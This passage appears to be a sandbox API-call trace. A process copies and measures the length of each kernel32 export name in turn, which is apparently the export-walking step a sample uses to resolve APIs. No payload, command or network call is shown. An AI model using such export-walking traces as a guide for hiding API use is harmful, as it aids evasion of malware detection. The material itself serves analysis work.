lstrcpyA (in: lpString1=0x21feab8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0095.381] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0095.382] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0095.382] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0095.382] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0095.382] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0095.382] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0095.382] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0095.382] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0095.382] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0095.382] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0095.382] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0095.382] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0095.382] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0095.382] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0095.382] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0095.382] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0095.382] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0095.382] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0095.382] lstrcpyA (in: lpString1=0x21feab8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0095.383] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0095.383] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0095.383] lstrlenA (lpString="BACKUPREAD") returned 10 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0095.383] lstrlenA (lpString="BACKUPSEEK") returned 10 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0095.383] lstrlenA (lpString="BACKUPWRITE") returned 11 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0095.383] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0095.383] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0095.383] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0095.383] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0095.383] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0095.383] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0095.383] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0095.383] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0095.383] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0095.383] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0095.383] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0095.383] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0095.383] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0095.384] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0095.384] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0095.384] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0095.384] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0095.384] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0095.384] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0095.384] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0095.384] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0095.384] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0095.384] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0095.384] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0095.384] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0095.384] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0095.384] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0095.384] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0095.384] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0095.384] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0095.385] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0095.385] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0095.385] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0095.385] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0095.385] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0095.385] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0095.385] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0095.385] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0095.385] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0095.385] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0095.385] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0095.385] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0095.385] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0095.385] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0095.385] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0095.385] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0095.385] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0095.386] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0095.386] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0095.386] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0095.386] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0095.386] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0095.386] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0095.386] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0095.386] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0095.386] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0095.386] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0095.386] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0095.386] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0095.386] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0095.386] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0095.386] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0095.386] lstrlenA (lpString="BEEP") returned 4 [0095.386] lstrcpyA (in: lpString1=0x21feab8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0095.387] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0095.387] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0095.387] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0095.387] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0095.387] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0095.387] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0095.387] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0095.387] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0095.387] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0095.387] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0095.387] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0095.387] lstrcpyA (in: lpString1=0x21feab8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0095.388] lstrlenA (lpString="CANCELIO") returned 8 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0095.388] lstrlenA (lpString="CANCELIOEX") returned 10 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0095.388] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0095.388] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0095.388] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0095.388] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0095.388] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0095.388] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0095.388] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0095.388] lstrlenA (lpString="CHECKELEVATION") returned 14 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0095.388] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0095.388] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0095.388] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0095.388] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0095.388] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0095.388] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0095.388] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0095.388] lstrcpyA (in: lpString1=0x21feab8, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0095.389] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0095.389] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0095.389] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0095.389] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0095.389] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0095.389] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 